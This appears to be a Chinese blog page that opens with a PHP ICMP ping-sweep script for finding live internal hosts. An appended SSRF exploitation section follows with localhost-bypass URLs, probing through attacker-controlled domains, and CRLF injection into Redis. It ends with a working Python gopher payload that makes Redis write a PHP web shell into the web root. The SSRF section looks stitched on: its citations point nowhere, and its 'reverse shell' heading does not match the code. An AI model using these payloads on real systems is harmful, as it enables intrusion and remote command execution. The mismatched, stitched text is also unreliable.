PHP扫描内网存活主机

本文介绍如何使用PHP编写脚本来扫描内网中哪些主机是活动状态的,通过简单的代码实现网络探测。

直接上代码

<?PHP
header('Content-Type: text/html; charset=utf-8');  
error_reporting(0);  

function ping($host, $timeout = 1) {
	$package = "\x08\x00\x7d\x4b\x00\x00\x00\x00PingHost";
	$socket  = socket_create(AF_INET, SOCK_RAW, 1);
	socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array('sec' => $timeout, 'usec' => 0));
	socket_connect($socket, $host, null);

	$ts = microtime(true);
	socket_send($socket, $package, strLen($package), 0);
	if (socket_read($socket, 255))
		$result = microtime(true) - $ts;
	else    
		$result = false;
	socket_close($socket);
	return $result;
}
function get_ip_pre($ip){  
	$num = explode('.',$ip);  
	return $num[0].".".$num[1].".".$num[2].".";  
} 	
$startip = $argv[1];
$endip = $argv[2];
$ippre = get_ip_pre($startip);
$startnum = array_pop(explode(".",$startip));
$endnum = array_pop(explode(".",$endip));
	
for($i=$startnum; $i<=$endnum; $i++){
	$ip = $ippre."$i";
	$res = ping($ip,2);
	if($res)
		echo "$ip is onlink\n";
	else 
		echo "$ip sense shutdown\n";
	$ip = $ippre;
	ob_flush();  
	flush();
}
?>


### SSRF漏洞利用与探测目标服务器内网IP地址的方法 SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者通过诱导服务器发起特定的网络请求来访问受限的内部资源。在实际攻击场景中,攻击者可以通过SSRF漏洞探测目标主机的IP地址,尤其是内网IP地址,从而进一步实施横向渗透。 #### 探测目标主机IP地址的常见方法 1. **基于DNS解析的探测方式** 攻击者可以构造一个指向外部可控域名的请求,例如`http://attacker.com`,然后观察是否能够触发DNS查询日志。如果服务端存在SSRF漏洞并尝试访问该URL,则会进行DNS解析,攻击者可以通过监控DNS请求确认目标是否成功访问了指定地址。 为了探测内网IP地址,可使用类似`http://192.168.0.1.xip.io`这样的结构,其中`xip.io`是一个公共DNS服务,它会将子域名解析为对应的IP地址,从而实现对内网IP的探测[^3]。 2. **利用本地回环地址绕过限制** 在某些防护机制下,攻击者可能无法直接访问如`127.0.0.1`等本地地址。此时可以尝试使用IPv6格式或特殊表示法绕过检测逻辑,例如: ``` http://[::1]/internal http://0.0.0.0./internal http://[0:0:0:0:0:ffff:127.0.0.1]/internal ``` 这些形式可能会绕过部分黑名单校验机制,并成功访问本地服务。 3. **结合协议差异进行探测** 如果目标系统支持`file://`、`gopher://`等协议,攻击者可以构造特殊请求访问本地文件或服务。例如,在支持`gopher`协议的情况下,可以通过发送精心构造的请求来调用本地服务接口或读取敏感信息[^2]。 4. **扫描内网存活主机** 利用SSRF漏洞,攻击者可以发起对内网IP段的扫描请求,例如依次访问`http://192.168.0.1`到`http://192.168.0.254`,根据响应状态码判断哪些主机处于运行状态。这种扫描方式通常用于识别潜在的目标服务[^1]。 5. **结合其他服务特性进行扩展攻击** 某些服务(如Redis、Memcached)使用简单的文本协议并通过换行符分隔命令。在这种情况下,攻击者可以利用SSRF注入换行符(如`%0a%0d`),构造多条命令并执行更复杂的操作。例如,Weblogic的SSRF漏洞允许攻击者通过注入换行符来攻击内网中的Redis服务器[^4]。 #### 示例:使用Gopher协议反弹Shell 假设攻击者已经发现了一个SSRF漏洞,并且目标服务器支持`gopher`协议。此时可以构造如下Payload: ```python import urllib.parse # 假设目标服务器的Redis监听在127.0.0.1:6379 payload = "*3\r\n$3\r\nSET\r\n$1\r\n1\r\n$5\r\n<?php system($_GET['cmd']);?>\r\n" payload += "*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n" payload += "*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n" payload += "*1\r\n$4\r\nSAVE\r\n" # 编码为URL格式 encoded_payload = urllib.parse.quote(payload).replace('%0A', '%0D%0A').replace('%0D%0A', '%0D%0A') url = f"gopher://127.0.0.1:6379/_{encoded_payload}" print(url) ``` 上述代码生成的URL可用于通过SSRF漏洞向Redis服务器发送命令,最终在目标服务器上写入一个Web Shell。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值